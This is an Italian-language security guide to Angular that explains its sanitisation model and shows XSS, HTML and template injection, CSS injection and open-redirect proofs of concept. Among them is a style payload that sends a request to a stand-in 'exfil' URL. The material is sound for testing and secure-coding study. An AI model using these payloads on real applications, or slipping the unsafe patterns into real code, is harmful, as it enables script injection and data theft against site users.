Angular

The Checklist

Checklist da qui.

What is Angular

Angular è un framework front-end potente e open-source mantenuto da Google. Utilizza TypeScript per migliorare la leggibilità del codice e il debugging. Con forti meccanismi di sicurezza, Angular previene vulnerabilità comuni lato client come XSS e open redirects. Può essere utilizzato anche lato server, rendendo importanti le considerazioni sulla sicurezza da entrambi i lati.

Framework architecture

Per comprendere meglio le basi di Angular, esaminiamo i suoi concetti essenziali.

Un progetto Angular comune di solito appare così:

my-workspace/
├── ... #workspace-wide configuration files
├── src
   ├── app
      ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
      ├── app.component.ts #defines the logic for the application's root component
      ├── app.component.html #defines the HTML template associated with the root component
      ├── app.component.css #defines the base CSS stylesheet for the root component
      ├── app.component.spec.ts #defines a unit test for the root component
      └── app-routing.module.ts #provides routing capability for the application
   ├── lib
      └── src #library-specific configuration files
   ├── index.html #main HTML page, where the component will be rendered in
   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Secondo la documentazione, ogni applicazione Angular ha almeno un componente, il componente radice (AppComponent) che collega una gerarchia di componenti con il DOM. Ogni componente definisce una classe che contiene dati e logica dell'applicazione ed è associato a un modello HTML che definisce una vista da visualizzare in un ambiente target. Il decoratore @Component() identifica la classe immediatamente sottostante come un componente e fornisce il modello e i metadati specifici del componente correlati. L'AppComponent è definito nel file app.component.ts.

Gli NgModule di Angular dichiarano un contesto di compilazione per un insieme di componenti dedicato a un dominio dell'applicazione, a un flusso di lavoro o a un insieme di capacità strettamente correlate. Ogni applicazione Angular ha un modulo radice, convenzionalmente chiamato AppModule, che fornisce il meccanismo di avvio che lancia l'applicazione. Un'applicazione contiene tipicamente molti moduli funzionali. L'AppModule è definito nel file app.module.ts.

Il NgModule Router di Angular fornisce un servizio che consente di definire un percorso di navigazione tra i diversi stati dell'applicazione e le gerarchie di vista nella tua applicazione. Il RouterModule è definito nel file app-routing.module.ts.

Per dati o logica che non sono associati a una vista specifica e che desideri condividere tra i componenti, crei una classe di servizio. La definizione di una classe di servizio è immediatamente preceduta dal decoratore @Injectable(). Il decoratore fornisce i metadati che consentono ad altri provider di essere iniettati come dipendenze nella tua classe. L'iniezione delle dipendenze (DI) ti consente di mantenere le classi dei componenti snelle ed efficienti. Non recuperano dati dal server, non convalidano l'input dell'utente e non registrano direttamente sulla console; delegano tali compiti ai servizi.

Configurazione del sourcemap

Il framework Angular traduce i file TypeScript in codice JavaScript seguendo le opzioni di tsconfig.json e poi costruisce un progetto con la configurazione di angular.json. Guardando il file angular.json, abbiamo osservato un'opzione per abilitare o disabilitare un sourcemap. Secondo la documentazione di Angular, la configurazione predefinita ha un file sourcemap abilitato per gli script e non è nascosto per impostazione predefinita:

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

In generale, i file sourcemap sono utilizzati per scopi di debug in quanto mappano i file generati ai loro file originali. Pertanto, non è consigliabile utilizzarli in un ambiente di produzione. Se i sourcemap sono abilitati, migliorano la leggibilità e aiutano nell'analisi dei file replicando lo stato originale del progetto Angular. Tuttavia, se sono disabilitati, un revisore può comunque analizzare manualmente un file JavaScript compilato cercando schemi anti-sicurezza.

Inoltre, un file JavaScript compilato con un progetto Angular può essere trovato negli strumenti per sviluppatori del browser → Fonti (o Debugger e Fonti) → [id].main.js. A seconda delle opzioni abilitate, questo file può contenere la seguente riga alla fine //# sourceMappingURL=[id].main.js.map oppure potrebbe non contenerla, se l'opzione hidden è impostata su true. Tuttavia, se il sourcemap è disabilitato per scripts, il testing diventa più complesso e non possiamo ottenere il file. Inoltre, il sourcemap può essere abilitato durante la costruzione del progetto come ng build --source-map.

Data binding

Il binding si riferisce al processo di comunicazione tra un componente e la sua vista corrispondente. Viene utilizzato per trasferire dati da e verso il framework Angular. I dati possono essere passati attraverso vari mezzi, come eventi, interpolazione, proprietà o attraverso il meccanismo di binding bidirezionale. Inoltre, i dati possono essere condivisi tra componenti correlati (relazione genitore-figlio) e tra due componenti non correlati utilizzando la funzionalità Service.

Possiamo classificare il binding in base al flusso di dati:

  • Fonte dati a obiettivo vista (include interpolazione, proprietà, attributi, classi e stili); può essere applicato utilizzando [] o {{}} nel template;

  • Obiettivo vista a fonte dati (include eventi); può essere applicato utilizzando () nel template;

  • Bidirezionale; può essere applicato utilizzando [()] nel template.

Il binding può essere chiamato su proprietà, eventi e attributi, così come su qualsiasi membro pubblico di una direttiva sorgente:

TYPE
TARGET
EXAMPLES

Property

Proprietà dell'elemento, Proprietà del componente, Proprietà della direttiva

<img [alt]="hero.name" [src]="heroImageUrl">

Event

Evento dell'elemento, Evento del componente, Evento della direttiva

<button type="button" (click)="onSave()">Salva

Two-way

Evento e proprietà

<input [(ngModel)]="name">

Attribute

Attributo (l'eccezione)

<button type="button" [attr.aria-label]="help">aiuto

Class

Proprietà di classe

<div [class.special]="isSpecial">Special

Style

Proprietà di stile

<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Modello di sicurezza di Angular

Il design di Angular include la codifica o la sanitizzazione di tutti i dati per impostazione predefinita, rendendo sempre più difficile scoprire e sfruttare le vulnerabilità XSS nei progetti Angular. Ci sono due scenari distinti per la gestione dei dati:

  1. Interpolazione o {{user_input}} - esegue la codifica sensibile al contesto e interpreta l'input dell'utente come testo;

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Risultato: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Binding a proprietà, attributi, classi e stili o [attribute]="user_input" - esegue la sanitizzazione in base al contesto di sicurezza fornito.

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Risultato: <div><h1>test</h1></div>

Ci sono 6 tipi di SecurityContext :

  • None;

  • HTML viene utilizzato quando si interpreta il valore come HTML;

  • STYLE viene utilizzato quando si collega il CSS alla proprietà style;

  • URL viene utilizzato per le proprietà URL, come <a href>;

  • SCRIPT viene utilizzato per il codice JavaScript;

  • RESOURCE_URL come un URL che viene caricato ed eseguito come codice, ad esempio, in <script src>.

Vulnerabilità

Bypass dei metodi di sicurezza Trust

Angular introduce un elenco di metodi per bypassare il suo processo di sanitizzazione predefinito e per indicare che un valore può essere utilizzato in modo sicuro in un contesto specifico, come nei seguenti cinque esempi:

  1. bypassSecurityTrustUrl viene utilizzato per indicare che il valore fornito è un URL di stile sicuro:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Cliccami</a>

//risultato
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Cliccami</a>
  1. bypassSecurityTrustResourceUrl viene utilizzato per indicare che il valore fornito è un URL di risorsa sicuro:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//risultato
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml viene utilizzato per indicare che il valore fornito è HTML sicuro. Si noti che l'inserimento di elementi script nell'albero DOM in questo modo non causerà l'esecuzione del codice JavaScript racchiuso, a causa di come questi elementi vengono aggiunti all'albero DOM.

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//risultato
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript viene utilizzato per indicare che il valore fornito è JavaScript sicuro. Tuttavia, abbiamo riscontrato che il suo comportamento è imprevedibile, poiché non siamo riusciti a eseguire codice JS nei template utilizzando questo metodo.

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//risultato
-
  1. bypassSecurityTrustStyle viene utilizzato per indicare che il valore fornito è CSS sicuro. Il seguente esempio illustra l'iniezione di CSS:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//risultato
Request URL: GET example.com/exfil/a

Angular fornisce un metodo sanitize per sanitizzare i dati prima di visualizzarli nelle viste. Questo metodo utilizza il contesto di sicurezza fornito e purifica l'input di conseguenza. È, tuttavia, cruciale utilizzare il contesto di sicurezza corretto per i dati e il contesto specifici. Ad esempio, applicare un sanitizzatore con SecurityContext.URL su contenuti HTML non fornisce protezione contro valori HTML pericolosi. In tali scenari, un uso improprio del contesto di sicurezza potrebbe portare a vulnerabilità XSS.

Iniezione HTML

Questa vulnerabilità si verifica quando l'input dell'utente è legato a una delle tre proprietà: innerHTML, outerHTML o iframe srcdoc. Mentre il binding a questi attributi interpreta l'HTML così com'è, l'input viene sanitizzato utilizzando SecurityContext.HTML. Pertanto, è possibile l'iniezione di HTML, ma non il cross-site scripting (XSS).

Esempio di utilizzo di innerHTML:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Il risultato è <div><h1>test</h1></div>.

Iniezione di template

Rendering lato client (CSR)

Angular sfrutta i template per costruire pagine dinamicamente. L'approccio prevede di racchiudere le espressioni del template che Angular deve valutare all'interno di doppie parentesi graffe ({{}}). In questo modo, il framework offre funzionalità aggiuntive. Ad esempio, un template come {{1+1}} verrebbe visualizzato come 2.

Tipicamente, Angular esegue l'escape dell'input dell'utente che può essere confuso con le espressioni del template (ad es., caratteri come `< > ' " ``). Ciò significa che sono necessari ulteriori passaggi per eludere questa restrizione, come utilizzare funzioni che generano oggetti stringa JavaScript per evitare di utilizzare caratteri nella lista nera. Tuttavia, per ottenere ciò, dobbiamo considerare il contesto di Angular, le sue proprietà e variabili. Pertanto, un attacco di iniezione di template potrebbe apparire come segue:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Come mostrato sopra: constructor si riferisce all'ambito della proprietà Object constructor, consentendoci di invocare il costruttore String ed eseguire un codice arbitrario.

Rendering lato server (SSR)

A differenza del CSR, che si verifica nel DOM del browser, Angular Universal è responsabile per l'SSR dei file di template. Questi file vengono poi consegnati all'utente. Nonostante questa distinzione, Angular Universal applica gli stessi meccanismi di sanitizzazione utilizzati nel CSR per migliorare la sicurezza dell'SSR. Una vulnerabilità di iniezione di template nell'SSR può essere individuata nello stesso modo dell'SSR, poiché il linguaggio di template utilizzato è lo stesso.

Naturalmente, c'è anche la possibilità di introdurre nuove vulnerabilità di iniezione di template quando si utilizzano motori di template di terze parti come Pug e Handlebars.

XSS

Interfacce DOM

Come già affermato, possiamo accedere direttamente al DOM utilizzando l'interfaccia Document. Se l'input dell'utente non viene convalidato in anticipo, può portare a vulnerabilità di cross-site scripting (XSS).

Abbiamo utilizzato i metodi document.write() e document.createElement() negli esempi seguenti:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Classi Angular

Ci sono alcune classi che possono essere utilizzate per lavorare con gli elementi DOM in Angular: ElementRef, Renderer2, Location e Document. Una descrizione dettagliata delle ultime due classi è fornita nella sezione Open redirects. La principale differenza tra le prime due è che l'API Renderer2 fornisce uno strato di astrazione tra l'elemento DOM e il codice del componente, mentre ElementRef tiene semplicemente un riferimento all'elemento. Pertanto, secondo la documentazione di Angular, l'API ElementRef dovrebbe essere utilizzata solo come ultima risorsa quando è necessario un accesso diretto al DOM.

  • ElementRef contiene la proprietà nativeElement, che può essere utilizzata per manipolare gli elementi DOM. Tuttavia, un uso improprio di nativeElement può comportare una vulnerabilità di iniezione XSS, come mostrato di seguito:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Nonostante il fatto che Renderer2 fornisca un'API che può essere utilizzata in modo sicuro anche quando l'accesso diretto agli elementi nativi non è supportato, presenta comunque alcune vulnerabilità di sicurezza. Con Renderer2, è possibile impostare attributi su un elemento HTML utilizzando il metodo setAttribute(), che non ha meccanismi di prevenzione XSS.

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • Per impostare la proprietà di un elemento DOM, puoi utilizzare il metodo Renderer2.setProperty() e innescare un attacco XSS:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

Durante la nostra ricerca, abbiamo anche esaminato il comportamento di altri metodi Renderer2, come setStyle(), createComment(), e setValue(), in relazione a iniezioni XSS e CSS. Tuttavia, non siamo riusciti a trovare vettori di attacco validi per questi metodi a causa delle loro limitazioni funzionali.

jQuery

jQuery è una libreria JavaScript veloce, leggera e ricca di funzionalità che può essere utilizzata nel progetto Angular per aiutare nella manipolazione degli oggetti DOM HTML. Tuttavia, come è noto, i metodi di questa libreria possono essere sfruttati per ottenere una vulnerabilità XSS. Per discutere di come alcuni metodi vulnerabili di jQuery possano essere sfruttati nei progetti Angular, abbiamo aggiunto questa sottosezione.

  • Il metodo html() ottiene i contenuti HTML del primo elemento nel set di elementi corrispondenti o imposta i contenuti HTML di ogni elemento corrispondente. Tuttavia, per design, qualsiasi costruttore o metodo jQuery che accetta una stringa HTML può potenzialmente eseguire codice. Questo può verificarsi mediante l'iniezione di tag <script> o l'uso di attributi HTML che eseguono codice, come mostrato nell'esempio.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • Il metodo jQuery.parseHTML() utilizza metodi nativi per convertire la stringa in un insieme di nodi DOM, che possono poi essere inseriti nel documento.

jQuery.parseHTML(data [, context ] [, keepScripts ])

Come accennato in precedenza, la maggior parte delle API jQuery che accettano stringhe HTML eseguiranno script inclusi nell'HTML. Il metodo jQuery.parseHTML() non esegue script nell'HTML analizzato a meno che keepScripts non sia esplicitamente true. Tuttavia, è ancora possibile in molti ambienti eseguire script indirettamente; ad esempio, tramite l'attributo <img onerror>.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Open redirects

Interfacce DOM

Secondo la documentazione W3C, gli oggetti window.location e document.location sono trattati come alias nei browser moderni. Ecco perché hanno implementazioni simili di alcuni metodi e proprietà, che potrebbero causare un open redirect e XSS DOM con attacchi di schema javascript:// come menzionato di seguito.

  • window.location.href(e document.location.href)

Il modo canonico per ottenere l'oggetto posizione DOM corrente è utilizzare window.location. Può anche essere utilizzato per reindirizzare il browser a una nuova pagina. Di conseguenza, avere il controllo su questo oggetto ci consente di sfruttare una vulnerabilità di open redirect.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

Il processo di sfruttamento è identico per i seguenti scenari.

  • window.location.assign()(e document.location.assign())

Questo metodo fa sì che la finestra carichi e visualizzi il documento all'URL specificato. Se abbiamo il controllo su questo metodo, potrebbe essere un sink per un attacco di open redirect.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(e document.location.replace())

Questo metodo sostituisce la risorsa corrente con quella all'URL fornito.

Ciò che differisce dal metodo assign() è che dopo aver utilizzato window.location.replace(), la pagina corrente non verrà salvata nella cronologia di sessione. Tuttavia, è anche possibile sfruttare una vulnerabilità di open redirect quando abbiamo il controllo su questo metodo.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

Il metodo window.open() prende un URL e carica la risorsa che identifica in una nuova scheda o finestra esistente. Avere il controllo su questo metodo potrebbe anche essere un'opportunità per innescare una vulnerabilità XSS o open redirect.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Classi Angular

  • Secondo la documentazione di Angular, Angular Document è lo stesso del documento DOM, il che significa che è possibile utilizzare vettori comuni per il documento DOM per sfruttare vulnerabilità lato client in Angular. Le proprietà e i metodi Document.location potrebbero essere sink per attacchi di open redirect riusciti, come mostrato nell'esempio:

//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • Durante la fase di ricerca, abbiamo anche esaminato la classe Location di Angular per vulnerabilità di open redirect, ma non sono stati trovati vettori validi. Location è un servizio Angular che le applicazioni possono utilizzare per interagire con l'URL corrente del browser. Questo servizio ha diversi metodi per manipolare l'URL fornito - go(), replaceState(), e prepareExternalUrl(). Tuttavia, non possiamo usarli per il reindirizzamento a un dominio esterno. Ad esempio:

//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Risultato: http://localhost:4200/http://google.com/about

  • La classe Router di Angular è principalmente utilizzata per la navigazione all'interno dello stesso dominio e non introduce vulnerabilità aggiuntive all'applicazione:

//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Risultato: http://localhost:4200/https:

I seguenti metodi navigano anche all'interno dell'ambito del dominio:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

Riferimenti

Last updated